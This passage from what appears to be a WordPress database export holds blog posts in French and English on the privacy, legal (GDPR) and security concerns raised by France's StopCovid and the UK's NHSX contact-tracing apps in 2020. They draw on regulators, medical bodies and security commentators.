stockée sur leur appareil afin d’indiquer à l’utilisateur si oui ou non il a pu être exposé. D’autres protocoles reposant sur des choix d’architecture similaire ont également vu le jour, tel que TCN ou encore PACT.&nbsp;» </em>explique Louis Adam de ZDNet<em>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.conseil-national.medecin.fr/publications/communiques-presse/enjeux-tracage-numerique\">Dans son Avis le Conseil national de l\'Ordre des médecins sur les enjeux du traçage numérique</a>&nbsp;rappelle&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong><em>L\'efficacité d’une application</em></strong><em>&nbsp;de suivi des interactions sociales repose sur une utilisation importante au niveau populationnel, nécessitant un équipement par smartphone. L’Ordre s’interroge également sur son efficacité au regard de la fracture numérique et générationnelle. Son déploiement doit en outre être associé à une stratégie de dépistage massif.</em></li><li><em>L’enregistrement des données médicales ne doit pas être alimenté par le médecin et il ne doit pas y avoir de croisement possible des données avec un fichier de santé. L’anonymat doit être garanti pour l’enregistrement des données et la conservation de celles-ci doit être limitée dans le temps sans interconnexion de fichiers.</em></li><li><em>Dans ces conditions, dans le respect de la réglementation en vigueur et des préconisations de la CNIL, un tel traçage peut présenter un intérêt intégré à l’ensemble du processus de déconfinement mais il ne peut en être l’élément central.<br>&nbsp;</em><strong><em>Le «&nbsp;tracking&nbsp;»</em></strong><em>&nbsp;correspond à un traçage systématique des déplacements des personnes. Il ne repose pas sur l’adhésion de la personne et comporte une obligation de déclarer son état de santé. Il&nbsp; repose sur un système de géolocalisation, n’apportant aucune garantie au regard des libertés individuelles à préserver. Opposable à un citoyen pour sa prise en charge il pourrait de plus, être interconnectable avec d’autres fichiers. Il s’agit d’une méthode trop liberticide par rapport à la protection des libertés individuelles.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Reste à savoir à quel moment un individu est diagnostiqué et surtout qui et\ncomment va notifier les contacts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Comment garantir l’anonymat ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les fichiers sont&nbsp;pseudonymisés, pouvant être désanonymisés à l’aide d’autres\ninformations comme celles collectées par les antennes Bluetooth ou encore par\nadresse IP.&nbsp;D’où les conditions d’application du RGDP et non le ePrivacy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les&nbsp;données&nbsp;à&nbsp;caractère&nbsp;personnel&nbsp;qui&nbsp;ont&nbsp;fait&nbsp;l’objet&nbsp;d’une&nbsp;pseudonymisation&nbsp;et\nqui au surplus, s’agissant de données médicales sont de la catégorie des données\nsensibles qui ne peuvent en principe être traitées que sous certaines\nconditions strictes. Art. 9 [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Toute collecte de donnée met inévitablement en danger\nles données stockées. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>D’ores et déjà, plusieurs attaques informatiques ont ciblé des centres de\ncollecte de données. Une entreprise de recherche chinoise de première ligne\nCOVID-19 signalée piratée : les données sont maintenant sur le Dark Web&nbsp;<a href=\"https://www.forbes.com/sites/zakdoffman/2020/04/26/chinese-covid-19-detection-firm-just-got-hacked-data-for-sale-on-dark-web-new-report/\">reporte le Magazine Forbes</a> ; ou bien <a href=\"https://www.bloomberg.com/news/articles/2020-04-21/top-officials-at-world-health-organization-targeted-for-hacks\">le\nsite de l’OMS</a> comme reporte par <a href=\"https://www.scmagazine.com/home/security-news/hijacked-routers-and-attempted-who-hack-highlight-latest-covid-19-attacks/\">SC Magazine</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>L’accès à ces données pourra représenter un danger\nnon négligeable.</strong> Une\nexploitation criminelle n’est pas exclue avec des conséquences socio-économiques\nimportantes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le simple fait d’activer le Bluetooth, et donc d’exposer l’accès aux données\ndu téléphone, pose des <a href=\"https://www.gqmagazine.fr/lifestyle/article/pourquoi-il-vaut-vraiment-desactiver-le-bluetooth-quand-vous-ne-lutilisez-pas\">problèmes\nde sécurité et de respect de la vie privée</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les chercheurs français mettent en garde contre les applications de traçage</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Toutes ces applications induisent en fait des risques\ntrès importants quant au respect de la vie privée et des libertés\nindividuelles. L\'un d’entre eux est la surveillance de masse par des acteurs\nprivés ou publics, contre laquelle l\'Association Internationale de Recherche en\nCryptologie (IACR) s\'est engagée à travers la&nbsp;</em><a href=\"https://www.iacr.org/misc/statement-May2014.html\"><em>résolution de\nCopenhague</em></a><em>. Cette surveillance de masse peut être effectuée via la\ncollecte du graphe des interactions entre les individus, le graphe social. Elle\npeut intervenir au niveau des systèmes d’exploitation (OS) des téléphones\nportables. Non seulement les producteurs d\'OS pourraient reconstruire le graphe\nsocial, mais l’État aussi, plus ou moins facilement suivant les solutions proposées.</em><em></em></li><li><em>De\nnombreux autres risques existent, variables suivant les choix techniques, dont\npar exemple le géo-traçage d\'individus, et la levée de l\'anonymat des malades\npar des entités ou par les fournisseurs d\'accès internet (voir notamment&nbsp;</em><a href=\"https://risques-tracage.fr/\"><em>https://risques-tracage.fr/</em></a><em>). Les\nrisques d\'atteinte à la vie privée liés aux technologies Bluetooth sont\nreconnus depuis bien avant la crise sanitaire, c\'est la raison pour laquelle\nles OS en restreignent fortement l\'utilisation par les applications.</em></li><li><em>Il est\ncrucial que le bénéfice sanitaire d\'une solution numérique soit analysé en\nprofondeur par des spécialistes, et suffisamment avéré et important pour\njustifier les dangers encourus. Si le principe de déploiement d’une telle application\ndevait être adopté malgré les dangers, une transparence complète est attendue\ndans son développement et son déploiement: tous les choix techniques doivent\nêtre documentés, argumentés et assumés par les parties responsables; le\nprotocole et son implémentation doivent être documentés, publics et faire\nl\'objet d\'audits indépendants.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>“<em>Plusieurs chercheurs (dont certains de l’Inria)&nbsp;<a href=\"https://risques-tracage.fr/\" target=\"_blank\" rel=\"noreferrer noopener\">ont publié sur un site web\ndes exemples de la façon dont ces applications de contact tracing, centralisées\nou non, pouvaient être utilisées à des fins malveillantes</a>. Cette série\nd’exemples vient mettre en lumière les risques liés au déploiement de ces technologies\net les dérives possibles qu’elles pourraient occasionner. On finira donc\npeut-être par voir arriver l’application StopCovid promise par le gouvernement\nfrançais il y a maintenant trois semaines, mais le chemin risque encore d’être\nlong…”</em> <a href=\"https://www.zdnet.fr/actualites/dp3t-pact-et-consorts-les-protocoles-de-contact-tracing-se-multiplient-39902703.htm\">reporte\nZDNet.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Au 24 avril, le Conseil d\'Etat était saisi&nbsp;de 151&nbsp;requêtes, il a\nd\'ores et déjà rendu 85 décisions. On dénombre 76 rejets (58 au tri ou sans\naudience soit 76%), 6 non-lieux/désistements, 2 annulations de décisions TA\n&amp; 1 satisfaction partielle durcissant la mesure...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pour la Quadrature du Net «<em>StopCovid est un projet désastreux piloté par\ndes apprentis sorciers </em>»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Au vu d’une multitude de mise en garde, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nous apprenons que finalement, la mise en route du\nprojet aurait été retardée.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><a href=\"https://www.lemonde.fr/pixels/article/2020/04/28/edouard-philippe-reporte-le-debat-parlementaire-sur-l-application-stopcovid_6038032_4408996.html\">A\nlire&nbsp;: l’annonce du Premier Ministre.</a></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.euractiv.com/authors/samuel-stolton/\">Samuel Stolton</a> d’<a href=\"https://www.euractiv.com/content_providers/euractiv-com/\">EURACTIV</a> rapporte :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La nouvelle survient alors que le Conseil de l\'Europe a averti ce mardi 28\navril des effets secondaires négatifs de l\'utilisation de certaines\napplications mobiles, déclarant que des évaluations d\'impact de l\'efficacité de\nces technologies devraient être effectuées avant leur utilisation. Plusieurs organisations\nde défense des droits ont lancé des appels à la mise en œuvre d\'une approche\ndécentralisée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>«<em>Les systèmes de traçage des contacts numériques devraient être basés\nsur une architecture qui repose autant que possible sur le traitement et le\nstockage des données sur les appareils des utilisateurs individuels</em>», a\nécrit le CdE, mais a ajouté que des vulnérabilités existent toujours dans les\ndeux protocoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'eurodéputé vert et avocat Sergey Lagodinskyinsiste insiste sur le fait\nque ces types de technologies de recherche des contacts «<em>ne peuvent être\npris en charge que si les données sont collectées avec le consentement de\nl\'utilisateur, affectées à des fins spécifiques, pour une durée limitée\nuniquement, et si ces données sont stockées de manière décentralisée.</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les ministres de la santé de l\'UE se sont réunis en visioconference avec la\ncommissaire à la santé Stella Kyriakides, le chef du marché intérieur Thierry\nBreton et le commissaire à la justice Didier Reynders pour discuter de la\nmanière dont les solutions numériques pourraient être mises à profit pour\nretracer la propagation du virus, dans le but de ``<em>désamorcer</em>\'\' les\nmesures de confinement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"<em>Alors que certains États membres ont déjà des applications\nfonctionnelles en place, dans la plupart des États membres, elles sont toujours\nen cours de développement</em>\", a déclaré une lecture de la Commission,\najoutant que les pays ont appelé le bloc à assurer l\'interopérabilité dans les\napplications de traçage des contrats mises en place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans le cadre d\'un récent ensemble d\'orientations convenu entre la\nCommission et les États membres, surnommé la ``<em>boîte à outils commune de\nl\'UE pour les États membres pour les applications mobiles dans la lutte contre\nle COVID-19</em>\'\', le bloc a mis en garde contre le traitement et le stockage\ndes données de localisation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le document recommande également que les technologies ne soient utilisées\nque sur une base volontaire et doivent mettre en œuvre des technologies\nrespectueuses de la vie privée en utilisant uniquement des données anonymisées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IV – Le Contexte Européen</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ailleurs en Europe, le <a href=\"https://www.numerama.com/tech/620121-coronavirus-la-belgique-renonce-a-une-application-de-tracage-des-malades.html\" target=\"_blank\" rel=\"noreferrer noopener\">gouvernement belge\nvient de renoncer</a>&nbsp;à\nla mise en place d\'une telle application, \'<a href=\"https://www.numerama.com/politique/620279-israel-narrete-pas-de-geolocaliser-les-malades-du-coronavirus-mais-ne-les-traque-plus-dans-la-rue.html\" target=\"_blank\" rel=\"noreferrer noopener\">Israël a infléchi sa\npolitique</a>&nbsp;en la\nmatière et que la Suisse envisage d\'installer un système plus décentralisé, en France,\nla CNIL (Commission Nationale Informatique et Libertés) a&nbsp;<a href=\"https://www.lemonde.fr/pixels/article/2020/04/26/stopcovid-etre-prets-le-11-mai-sera-un-defi-selon-cedric-o_6037789_4408996.html\" target=\"_blank\" rel=\"noreferrer noopener\">demandé hier au\ngouvernement un certain nombre de garanties supplémentaires</a>&nbsp;en matière de protection de la vie\nprivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’Angleterre <a href=\"https://www.itpro.co.uk/security/privacy/355460/nhs-rejects-apple-and-googles-decentralised-contact-tracing-app\">a rejeté la solution de Apple et Google</a> et souhaite adopter un système centralisé\nNHSx proche de la France. Des auditions d’experts ont eu lieu ce jour.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’Allemagne opterait plutôt pour le système décentralisé Apple et Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>EN CONCLUSION</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il reste enfin que la question du coût de tels projets reste inconnu rendant l’évaluation de leur légitimité encore plus difficile. Il est à penser que cette épidémie qui a été la cause de la mise à l’arrêt volontaire de l’économie mondiale et ses graves conséquences à venir sur les entreprises, n’aurait pas pris de telles proportions en présence d\'un système de santé cohérent et préparé à une telle épidémie qui a dégénéré en pandémie sans qu’aucune démocratie n’ait prévue qu’elle puisse franchir ses frontières … </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La transparence et un control régulier de la CNIL sont en tous cas essentiel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La\nbalance de la bascule de l’équilibre qu’impose le traçage, comme l’une des\nmesures aidant au combat contre la propagation non maîtrisée de ce virus, aurait\nimposé plus de rigueur pour démontrer la proportionnalité de l\'atteinte aux\nprotections de la vie privée causées par l\'Etat d\'Urgence Sanitaire. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le danger est ce que la Présidence de la CNIL appelle une accoutumance au tracking. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lorsque\nle génie sort de la bouteille il devient bien difficile de l’y renfermer et les\nréticences d’Apple sur l’immixtion dans son système d’exploitation en dit long.</p>\n<!-- /wp:paragraph -->','STOP-COVID Combattre la Pandémie Sans Infecter la Démocratie',' mardi 28 Avril 2020, le Premier Ministre Edouard Philippe a été entendu devant le Sénat notamment pour le projet STOP-COVID préparant la sortie du confinement imposé par la pandémie du COVID-19','inherit','closed','closed','','716-revision-v1','','','2020-05-05 10:56:26','2020-05-05 09:56:26','',716,'https://datarainbow.eu/2020/05/05/716-revision-v1/',0,'revision','',0),(898,5,'2020-05-06 20:20:46','2020-05-06 19:20:46','<!-- wp:paragraph -->\n<p>In UK, like in many countries, the contact tracing app is presented as the solution to get out of lockdown. Is technology really the right solution?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Much has been written and the debate is still ongoing. We have published an article on <a href=\"https://datarainbow.eu/2020/04/29/stop-covid-combattre-la-pandemie-sans-perdre-la-democratie/\">the French government project of STOPCOVID. </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The UK NHSX project is another centralised contact tracing App. A first tryout has started on the Isle of Wight since Tuesday May 2nd.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://amberhawk.typepad.com/amberhawk/2020/05/covid-19-how-the-gdpr-applies-to-trace-and-track.html\">I - </a>A<strong>nalysing the data protection compliance aspects of the project, from&nbsp;</strong><a href=\"https://amberhawk.typepad.com/amberhawk/2020/05/covid-19-how-the-gdpr-applies-to-trace-and-track.html\"><strong>Chris Pounder of Amber-walk has published his&nbsp;views</strong></a><strong> </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://amberhawk.typepad.com/amberhawk/2020/05/covid-19-how-the-gdpr-applies-to-trace-and-track.html\">COVID-19: how the GDPR applies to trace and track.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1- Emphasis is put in the voluntary adoption of the measure as requested by most EU Data Protection Authorties.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As Chris Pounder develops, ‘<em>NHSX claim that every operation related to the APP is voluntary (e.g. to download, to communicate to a central database if need be). Users can choose to delete the APP at any time; this would also delete the data on the phone but not any data previously uploaded to NHSX’s central database.’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data is pseudonymised more than anonymised as it can be re-identifiable, therefore it will be the GDPR and not the ePrivacy Directive that will apply</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the absence of a published DPIA, Chris reminds the government promise that ‘T<em>he APP does not use any identifier already on the phone (e.g. phone number, SIM card identifier) or location details.’ The APP generates a random ID number exchanged with other phones that have also downloaded the APP. This record will remain on both phones for 14 days. When someone is COVID+ this record will trace back the contacts with a warning message for the user</em> .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2- The APP should not keep any personal information and no location data. Only the first half of the postcode is collected from APP users to alert local hospitals.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, for <a href=\"https://tech.newstatesman.com/coronavirus/uncertainty-over-who-could-access-nhsx-contact-tracing-app-data-as-pilot-goes-live\">Laurie Clarke reporter</a>, remains :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>‘<em>Uncertainty over who could access NHSX contact tracing app data as Isle of White pilot goes live’. ‘The NHSX coronavirus contact tracing app is being rolled out on the Isle of Wight this week, but major question marks still hang over the app. Matthew Gould, CEO of NHSX, told parliament today that the data collected by the app would be accessible to unspecified organisations as long as it was used for public health purposes. ‘</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><strong>3- For Chris Pounder, ‘</strong><em><strong>there are three definitional issues:</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>(<em>a) is personal data processed? </em></li><li><em>b) if so, who is the controller processing personal data? and </em></li><li><em>(c) if there is a controller, does the voluntary nature of the APP equate to “data subject consent”?</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The data subject is identifiable and the data related to medical health. He is therefore ‘<em>pretty sure the APP is processing personal data and special category of personal data</em>’, subject to the Article 6  lawful basis and a condition that overcomes the prohibition in Article 9(1) from processing health personal data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As for the Controller, there would be joint controllers as he points to the NHSX website stating that “<em>NHS England and NHS Improvement and the Department of Health and Social Care are delivering NHSX together” This bring to the Article 26 that requires any processing of personal data “shall in a transparent manner determine their respective responsibilities</em>”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the emphasis is on the voluntary adoption of the App, the next question  is on ”<em>data subject consent</em>”. Chris points out that <em>‘the NHS text on the website is very careful to avoid the use of the “C word” and it is easy to see why</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Recital 43 states that with respect to consent: “<em>consent should not provide a valid legal ground for the processing of personal data in a specific case where there is a clear imbalance between the data subject and the controller</em>” This will be the case where the controller is a public authority or an employer. It will be unlikely for that consent to be considered as ‘<em>freely given</em>’. Therefore voluntary adoption does not refer the character of legitimate basis on consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The limit of the ‘<em>voluntary</em>’ adoption he sees is that it could lead to a denial of a service as previously for the ‘<em>ID Card holders refused to “volunteer” making it a requirement to interact with any public service.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first comment is that any interference by a public authority (NHSX) is unlikely to infringe Article 8(1) [_<a href=\"https://awallon.com:15001/oo/r/546619490369058645\">GDPR08</a>_]&nbsp;of the European Convention on Human Rights; This is because Article 8(2) permits legislation to be enacted by a Parliament process (e.g. in the Coronavirus 2 which sets aside the A.8(1) right in limited circumstances (e.g. any interference deemed&nbsp;<strong><em>necessary</em></strong>&nbsp; “<em>for the protection of health</em>”).&nbsp; It all hangs on the word “<em>necessary</em>”; it is either necessary or it isn’t. If there is reliance on data subject consent (which we think is unreliable), then there is also no A.8 breach (so long consent is properly formed).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Based on the GDPR/DPA2018,  <em>‘if the processing is “necessary” it will have Article 6 lawful basis (e.g. candidates are A.6(1)(c) or A.6(1)(e); A.6(1)(d) could be used in a case-by-case emergency). If there is need for an A.9 condition that lifts the prohibition on processing of health personal data the candidates are A.9(2)(c), A.9(2)(g), A.9(1)(i), Schedule 1, paragraphs2, 3 or 6 of the DPA2018</em>.’</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>‘<em>If there is reliance on consent or necessary or public task (or even necessary legitimate interests of controller/Third Party), the controller has to specify publicly (A.13; A.14) what happens to the personal data if there withdrawal of consent or exercise of the exercise of the right to object to the processing.’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore, in he concludes ‘<em>the ICO should take up Article 8 ECHR cases on the grounds that necessary as used in the GDPR has the same meaning as in Article 8.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br><strong>II - The UK like France has opted for the centralised model </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1- The App is encountering technical issues</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.iacr.org/misc/statement-May2014.html\">UK ICO</a> like the <a href=\"https://www.cnil.fr/fr/publication-de-lavis-de-la-cnil-sur-le-projet-dapplication-mobile-stopcovid\">French CNIL</a> have expressed their preference for the decentralised model for a decentralised model. Chris Pounder sees further vulnerability of the centralised approach  with a ‘<em>future legislative mood of Government</em>’. He believes ‘<em>It could be tempting (e.g. to reduce the pressures on the public purse) for Government to enact legislation that makes certain processing of personal data compulsory. For instance, to prove entitlement to a COVID related benefit</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p> <em>\'Considering to revert to a decentralised model to resolve their Bluetooth issues. ‘Covidsafe app is not working properly on iPhones, authorities admit’ ‘Australians running the Covidsafe contact tracing app on iPhones may not be recording all the data required if they don’t have the app running in the foreground or they are using an older model phone, the government has admitted.’</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://uk.reuters.com/article/us-health-coronavirus-france-tech/france-accuses-apple-of-refusing-help-with-stopcovid-app-idUKKBN22H0LX\">France is struggling to find an agreement with Apple and Google</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.theguardian.com/world/2020/may/06/covidsafe-app-is-not-working-properly-on-iphones-authorities-admit\">Australia who has already deployed the App has been struggling technically </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.theregister.co.uk/2020/05/05/uk_coronavirus_app/\">The Register</a> wrote: ‘<em>UK finds itself almost alone with centralized virus contact-tracing app that probably won\'t work well, asks for your location, may be illegal’. ‘On Monday, the UK government explained in depth and in clearly written language how its iOS and Android smartphone application – undergoing trials in the Isle of Wight – will work, and why it is a better solution to the one by Apple and Google that other nations have decided to adopt. It has also released a more technical explanation</em>.’</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running the Bluetooth connection in the back has several inconvenience such as draining the battery and opening security vulnerabilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Furthermore, the Bluetooth distance measurement is unreliable <a href=\"https://www.nu.nl/tech/6046965/bluetoothuitvinder-gebruik-bluetooth-voor-corona-app-niet-erg-nauwkeurig.html\">according to its own inventor</a>. Bluetooth signals can pierce obstacles the virus hopefully cannot such as a wall or vehicle bodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The margin of error has caused a return to lock down in Singapore, one of the first nations after China to deploy TraceTogether App. Less than 20% of the population actually downloaded the App It is suspected that Bluetooth works through glass and even some walls and may even be triggered by reflection in windows in buildings. Jason Bay Senior Director (Government Digital Services) at the Government Technology Agency, Singapore&nbsp;<a href=\"https://blog.gds-gov.tech/automated-contact-tracing-is-not-a-coronavirus-panacea-57fb3ce61d98\">wrote</a>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>If you ask me whether any Bluetooth contact tracing system deployed or under development, anywhere in the world, is ready to replace manual contact tracing, I will say without qualification that the answer is, No. Not now and, even with the benefit of AI/ML and — God forbid — blockchain ? (throw whatever buzzword you want), not for the foreseeabl</em>e future.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>The amount of <strong>false alerts</strong> will cause major distress and reduce trust on the App. When someone receives the warning SMS that they have been in contact with someone COVID+, that doesn\'t mean the NHS can test them immediately. They might be asked to self isolate themselves which is not always technically possibly. It has been suggested in France that they would be hotels dedicated to quarantine. That means 14 days of accommodation, food and entertainment. During which time the person and his family or network will be under distress, maybe unnecessarily isolated causing loss of revenues. Should the government be liable for all that ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2- These Apps are source of security issues</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The well known and security expert Bruce Schneier has expressed his concerns about the issues of using Bluetooth Technology <a href=\"https://www.schneier.com/blog/archives/2020/05/me_on_covad-19_.html\">here</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>\"My problem with contact tracing apps is that they have absolutely no value,\" Bruce Schneier, a privacy expert and fellow at the Berkman Klein Center for Internet &amp; Society at Harvard University, told BuzzFeed News. \"I\'m not even talking about the privacy concerns, I mean the efficacy. Does anybody think this will do something useful? ... This is just something governments want to do for the hell of it. To me, it\'s just techies doing techie things because they don\'t know what else to do.\"</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.securityweek.com/covid-19-contact-tracing-apps-effective-virus-risk-management-tools-or-privacy-nightmare\">SecurityWeek reporter Kevin Townsend wrote</a> ‘<em>These apps could easily become subject to a high number of false positives – and false positives always lead to a rejection by users. ‘ que faire du stresse, isolation et perte de revenus consécutives au faux positives alertes? Le BT transverse les murs et un automobiliste à proximité pourrait être décelé conne en ‘contact’</em> .  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cyberscoop.com/bluetooth-exploit-jan-ruge-contact-tracing/\">As contact tracing gains attention, a researcher pokes a hole in Bluetooth technology</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>If someone is reluctant to self quarantine, will they ignore the warning messages ?</li><li>The most at risk populations are the over 60x, will they be willing to download the app ?</li><li>What are going the security issues of opening the Bluetooth connection be?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Any data base creates security issues. New NHS contact-tracing app vulnerable to ‘<em>malicious false alerts</em>’, warn experts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>Additionaly, ‘<em>The new NHS contact-tracing app could be used to send malicious alerts causing people to isolate unnecessarily, it has been warned.</em></p><p><em>The app, which is being trialled in the Isle of Wight, tells users if someone they have been in proximity with may be suffering from coronavirus, meaning they could be exposed.</em></p><p><em>But because users can set off the warnings themselves by reporting symptoms – rather than positive Covid-19 test results – it could be used to send out false alerts.’</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>\'Dr Michael Veale, a lecturer in digital rights and regulation at University College London who this week gave evidence to MPs on the technology, told The Independent that Britain’s tracing app had nothing to stop individuals “maliciously triggering notifications” using its normal functionality.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>“People can deliberately put others into quarantine or report large areas,” he said. “A child could try to get a day off school by reporting symptoms from a parent’s phone to trigger a quarantine.’</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Constant Bluetooth signals in the back will drain the phone battery eventually causing over heating. Will be see a new epidemic of ‘pockets in fire’ ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ICAR, the Association of  experts in Cryptologic research has issued a statement against mass surveillance <a href=\"https://www.iacr.org/misc/statement-May2014.html\">\'The Copenhagen Resolution\'</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The membership of the IACR repudiates mass surveillance and the undermining of cryptographic solutions and standards. Population-wide surveillance threatens democracy and human dignity. We call for expediting research and deployment of effective techniques to protect personal privacy against governmental and corporate overreach.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://reincubate.com/blog/nhs-covid-19-background-tracing-details/\">A technical deep-dive into the NHS COVID-19 contact tracing app</a> : Since \'<em>the contact tracing beta is now open source for both&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://github.com/nhsx/COVID-19-app-iOS-BETA\" target=\"_blank\"><em>iOS</em></a><em>&nbsp;and&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://github.com/nhsx/COVID-19-app-Android-BETA\" target=\"_blank\"><em>Android</em></a><em>, along with some&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://github.com/nhsx/COVID-19-app-Documentation-BETA\" target=\"_blank\"><em>documentation</em></a><em>. As a follow-up to our “</em><a href=\"https://reincubate.com/blog/staying-alive-covid-19-background-tracing/\"><em>Staying 